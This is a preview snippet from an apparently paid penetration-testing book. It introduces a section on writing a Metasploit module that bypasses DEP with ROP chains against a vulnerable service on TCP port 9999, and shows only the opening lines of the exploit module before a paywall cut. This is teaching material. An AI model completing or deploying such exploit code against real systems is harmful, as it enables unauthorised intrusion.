December 2017
Intermediate to advanced
860 pages
16h 1m
English
In this section, we will write the DEP bypass exploit for the same vulnerable application in which we exploited the stack overflow vulnerability and the exploit failed when DEP was enabled. The application runs on TCP port 9999. So let's quickly build a module and try bypassing DEP on the same application:
require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking
include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'DEP Bypass Exploit', 'Description' => %q{ DEP Bypass Using ROP Chains Example Module }, 'Platform' => 'win', 'Author' => [ 'Nipun Jaswal' ], 'Payload' => { 'space' => 312, 'BadChars' => "\x00", }, 'Targets' => ...Read now
Unlock full access